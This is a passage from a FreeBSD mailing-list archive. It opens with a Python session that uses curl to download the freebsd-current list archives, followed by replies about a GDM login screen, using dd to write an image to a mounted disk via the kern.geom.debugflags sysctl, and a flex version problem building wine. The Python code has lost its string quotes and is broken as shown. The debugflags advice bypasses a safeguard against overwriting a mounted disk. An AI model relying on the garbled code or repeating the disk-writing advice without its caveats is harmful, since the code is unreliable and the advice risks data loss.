 through the list of years and looking for the list of files that
 match
 the pattern:

 
 ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/{year}/freebsd-current/(\d+.freebsd-current.gz)

 Using a pipe to parse the output of curl you can collect a list of
 all
 the files that match this pattern, e.g.:

  def yearfiles(year):
 ... base =
 
 ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/%4d/freebsd-current;
 % year
 ... curl = curl -o /dev/stdout %s/ % base
 ... flist = []
 ... fre = re.compile(r'^.*\D(\d+.freebsd-current.gz).*$')
 ... for line in popen(curl, shell=True, stdout=PIPE,
 stderr=devnull).stdout.readlines():
 ... m = fre.match(line)
 ... if m:
 ... flist.append(%s/%s % (base, m.group(1)))
 ... return flist
 ...
  yearfiles(1994)
 []
  yearfiles(1995)
 
 ['ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/1.freebsd-current.gz',
  ...]

 Concatenating the file lists of all years and fetching each one of
 them
 with curl is then trivial:

  ylist = years()
  ylist
 [1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003,
 2004, 2005, 2006, 2007, 2008, 2009, 2010]
  flist = []
  for y in ylist:
 ... f = yearfiles(y)
 ... flist = flist + f
 ...
  len(flist)
 785

 Once you have the list of all the remote gzipped files, you can loop
 through the list of files once more and fetch them locally.  I'm only
 going to fetch the first two files here, but feel free to fetch all
 of
 them in your version of the script:

  flist = flist[:2]
  flist
 
 ['ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz',
  
 'ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz']


  from subprocess import call
  def getfile(url):
 ... out = os.path.basename(url)
 ... retcode = call([curl, -o, out, url], stderr=devnull)
 ... if retcode == 0:
 ... print fetched %s % url
 ... return tuple([url, out, retcode])
 ...
  map(getfile, flist)
 fetched
 
 ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz
 fetched
 
 ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz
 ...
 
 [('ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz',
 '19950101.freebsd-current.gz', 0),
  
 ('ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz',
  '19950226.freebsd-current.gz', 0)]


 A slightly hackish script that collects all this to a more usable
 whole
 but lacks LOTS of 

Re: Introduction

2010-03-07 Thread Olivier Nicole
Hi,

  I'm 100% GNU/Linux since 2001
 
 No, not migrate all my machines to FreeBSD.

The way I would do is, when I have to put up a new machine, I install
FreeBSD, but the existing ones, I keep them with the existing OS,
untill they need replacement.

Best regards,

Olivier
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


gnome install: stuck

2010-03-07 Thread n dhert
Laptop with Freebsd 8.0, with gnome installed and
gdm_enable=YES
gnome_enable=YES
in /etc/rc.conf, no changes to /etc/ttys (that is: ttyv8 ... xdm off)
After reboot, system starts in gnome, gives a greenish background,
a taskbar at the bottom, with only date/time, a button for 'Universal
access preferences'  and an icon for the battery.
In the desktop a grey window with 2 buttons labeled 'Restart' and
'Shutdown'.
Clicking either of them makes them be blueish for the time the mouse
button in pressed, but nothing happens.
I am stuck in Gnome. Why and how to solve it ?

(I can only do Ctrl-Alt-F1 to get to the command prompt, but even that
I have to do twice: the first time it gives a flickering almost entirely
black
screen with at the top some half line of flickering ascii characters (can't
read), doing a Ctrl-Alt-F9 (back to gnome) and again Ctrl-Alt-F1 gives me a
stable login: prompt.)
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: gnome install: stuck

2010-03-07 Thread Adam Vande More
On Mon, Mar 8, 2010 at 12:46 AM, n dhert ndhert...@gmail.com wrote:

 Laptop with Freebsd 8.0, with gnome installed and
 gdm_enable=YES
 gnome_enable=YES
 in /etc/rc.conf, no changes to /etc/ttys (that is: ttyv8 ... xdm off)
 After reboot, system starts in gnome, gives a greenish background,
 a taskbar at the bottom, with only date/time, a button for 'Universal
 access preferences'  and an icon for the battery.
 In the desktop a grey window with 2 buttons labeled 'Restart' and
 'Shutdown'.
 Clicking either of them makes them be blueish for the time the mouse
 button in pressed, but nothing happens.
 I am stuck in Gnome. Why and how to solve it ?

 (I can only do Ctrl-Alt-F1 to get to the command prompt, but even that
 I have to do twice: the first time it gives a flickering almost entirely
 black
 screen with at the top some half line of flickering ascii characters (can't
 read), doing a Ctrl-Alt-F9 (back to gnome) and again Ctrl-Alt-F1 gives me a
 stable login: prompt.)


Sounds like you are in GDM, not gnome.  There's probably a login button
somewhere, you need to authenticate with the system then you'll be logged
into the desktop.  Also, it's just Alt-F9 to return to the graphical
display, ctrl not needed there.


-- 
Adam Vande More
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Booting MFS from Secondary Partition

2010-03-07 Thread Jonathan McKeown
On Saturday 06 March 2010 15:02:20 Martin McCormick wrote:
 Fbsd1 writes:
  just dd the image to what ever drive you want

   That is the goal. The challenge is to launch a script
 that detects when the boot device has been unmounted as dd will
 not work on an active file system.

Martin

it may or may not work, but there's a sysctl for the geom subsystem which 
might do what you want.

sysctl kern.geom.debugflags=16

This used to be used (for all i know still can be) to allow writing metadata 
for (eg) building a gmirror on a mounted disk - it's often referred to as the 
``allow-footshooting'' flag.

That might allow you to dd your image onto the mounted disk - i'd either try 
it with a handy spare system or wait for someone more expert than i to 
comment, though.

Jonathan
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: ports/144357: emulators/wine build failure

2010-03-07 Thread Eitan Adler
 On Mon, 1 Mar 2010, Eitan Adler wrote:
 Which version of flex are you using (you can find out running
 /usr/local/bin/flex --version)?
 %flex --version
 flex version 2.5.4

 that is the system version of flex; I was specifically asking for
 the one in /usr/local/bin/flex which is used by the wine port (since
 the system one is too old for wine).

Interesting - I just used whatever flex was in my path. Is wine making
the same mistake?
% /usr/local/bin/flex --version
flex 2.5.35

 It should not, but if you can rebuild flex and Wine without this, that
 would be an interesting data point.

 My take it this is that _something_ is causing flex to generate incorrect
 code or the toolchain is miscompiling something.  That's why I asked about
 the version of flex you are using, that is the one thing I could think of.
 (Over here it is flex 2.5.35, the package 2.5.35_3.)
Same here: flex-2.5.35_3

 Gerald

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org